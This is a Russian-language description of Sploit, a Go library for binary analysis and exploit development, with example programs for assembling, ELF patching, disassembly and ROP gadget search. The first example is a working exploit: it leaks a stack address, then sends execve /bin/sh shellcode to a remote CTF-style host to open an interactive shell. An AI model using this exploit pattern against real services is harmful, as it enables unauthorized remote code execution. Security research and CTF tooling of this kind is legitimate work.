
Go-пакет, помогающий в анализе и эксплуатации двоичных файлов
Sploit — это Go-пакет, помогающий в бинарном анализе и эксплуатации. Основной движущей силой разработки sploit является создание хорошо спроектированного API с функциональностью, сопоставимой с некоторыми распространёнными фреймворками для разработки эксплойтов на Python, но с использованием преимуществ языка программирования Go. Отличная поддержка кросс-компиляции, горутины, мощные криптографические библиотеки и статическая типизация — вот лишь несколько причин выбора Go.
Этот проект вдохновлён pwntools и другими замечательными проектами. Он всё ещё находится на ранней стадии разработки. Ожидается, что проект будет в значительной степени сосредоточен на shellcoding, бинарном патчинге, построении ROP-стеков и общем бинарном анализе.
package main;
import(
sp "github.com/zznop/sploit"
)
var arch = &sp.Processor {
Architecture: sp.ArchI386,
Endian: sp.LittleEndian,
}
var scInstrs = `mov al, 0xb /* __NR_execve */
sub esp, 0x30 /* Get pointer to /bin/sh (see below) */
mov ebx, esp /* filename (/bin/sh) */
xor ecx, ecx /* argv (NULL) */
xor edx, edx /* envp (NULL) */
int 0x80`
func main() {
shellcode, _ := sp.Asm(arch, scInstrs)
r, _ := sp.NewRemote("tcp", "some.pwnable.on.the.interwebz:10800")
defer r.Close()
r.RecvUntil([]byte("HELLO:"), true)
// Leak a stack address
r.Send(append([]byte("/bin/sh\x00AAAAAAAAAAAA"), sp.PackUint32LE(0x08048087)...))
resp, _ := r.RecvN(20)
leakAddr := sp.UnpackUint32LE(resp[0:4])
// Pop a shell
junk := make([]byte, 20-len(shellcode))
junk = append(junk, sp.PackUint32LE(leakAddr-4)...)
r.Send(append(shellcode, junk...))
r.Interactive()
}
package main;
import(
"github.com/zznop/sploit"
"encoding/hex"
"fmt"
)
func main() {
instrs := "mov rcx, r12\n" +
"mov rdx, r13\n" +
"mov r8, 0x1f\n" +
"xor r9, r9\n" +
"sub rsp, 0x8\n" +
"mov qword [rsp+0x20], rax\n"
arch := &sploit.Processor {
Architecture: sploit.ArchX8664,
Endian: sploit.LittleEndian,
}
opcode, _ := sploit.Asm(arch, instrs)
fmt.Printf("Opcode bytes:\n%s\n", hex.Dump(opcode))
}
> ./assemble_example
Opcode bytes:
00000000 4c 89 e1 4c 89 ea 49 c7 c0 1f 00 00 00 4d 31 c9 |L..L..I......M1.|
00000010 48 83 ec 08 48 89 44 24 28 |H...H.D$(|
package main
import (
"fmt"
sp "github.com/zznop/sploit"
)
var origProgram = "../test/prog1.x86_64"
var patchedProgram = "./patched"
var patchInstrs = `
jmp past
message:
.ascii "This is an example patch payload\n"
past:
mov rdi, 1 /* STDOUT file descriptor */
lea rsi, [rip + message] /* Pointer to message string */
mov rdx, 33 /* Message size */
mov rax, 1 /* __NR_write */
syscall /* Execute system call */
self:
jmp self /* Hang forever */
`
func main() {
e, _ := sp.NewELF(origProgram)
e.AsmPatch(patchInstrs, 0x1050)
e.Save(patchedProgram, 0777)
}
> ./patch_elf
Patching _start of ../test/prog1.x86_64
Exporting patched ELF to ./patched
> ./patched
This is an example patch payload
package main;
import(
"github.com/zznop/sploit"
"fmt"
)
var program = "../test/prog1.x86_64"
func main() {
elf, _ := sploit.NewELF(program)
vaddr := uint64(0x1135)
count := 34
fmt.Printf("Disassembling %v bytes at vaddr:%08x\n", count, vaddr)
disasm, _ := elf.Disasm(vaddr, count)
fmt.Print(disasm)
}
> ./disassemble_example
Disassembling 34 bytes at vaddr:00001135
00001135: push rbp
00001136: mov rbp, rsp
00001139: sub rsp, 0x10
0000113d: mov dword ptr [rbp - 4], edi
00001140: mov qword ptr [rbp - 0x10], rsi
00001144: lea rdi, [rip + 0xeb9]
0000114b: call 0x1030
00001150: mov eax, 0
00001155: leave
00001156: ret
package main;
import(
"github.com/zznop/sploit"
)
var program = "../test/prog1.x86_64"
func main() {
elf, _ := sploit.NewELF(program)
rop, _ := elf.ROP()
matched, _ := rop.InstrSearch("pop rbp")
matched.Dump()
}
0000111f: pop rbp ; ret
0000111d: add byte ptr [rcx], al ; pop rbp ; ret
00001118: mov byte ptr [rip + 0x2f11], 1 ; pop rbp ; ret
00001113: call 0x1080 ; mov byte ptr [rip + 0x2f11], 1 ; pop rbp ; ret
000011b7: pop rbp ; pop r14 ; pop r15 ; ret
000011b3: pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
000011b2: pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
000011af: add esp, 8 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
000011ae: add rsp, 8 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
...
Некоторые функции Sploit полагаются на внешние зависимости. Например, Sploit использует ассемблер GAS из GCC для компиляции ассемблерного кода и capstone для дизассемблирования скомпилированного кода в рамках API, предоставляемого asm.go.
Установка capstone:
git clone https://github.com/aquynh/capstone.git --branch 4.0.2 --single-branch
cd capstone
make
sudo make install
Установка кросс-компиляторов GCC. Следующие команды предполагают, что вы работаете на Debian или Ubuntu на рабочей станции Intel, и могут потребовать изменений при использовании другого дистрибутива Linux:
sudo apt install gcc gcc-arm-linux-gnueabi gcc-aarch64-linux-gnu gcc-mips-linux-gnu \
gcc-mipsel-linux-gnu gcc-powerpc-linux-gnu
Если вы предпочитаете использовать Docker, образ с внешними зависимостями находится на Docker Hub. Загрузите его следующей командой:
docker pull zznop/sploit:latest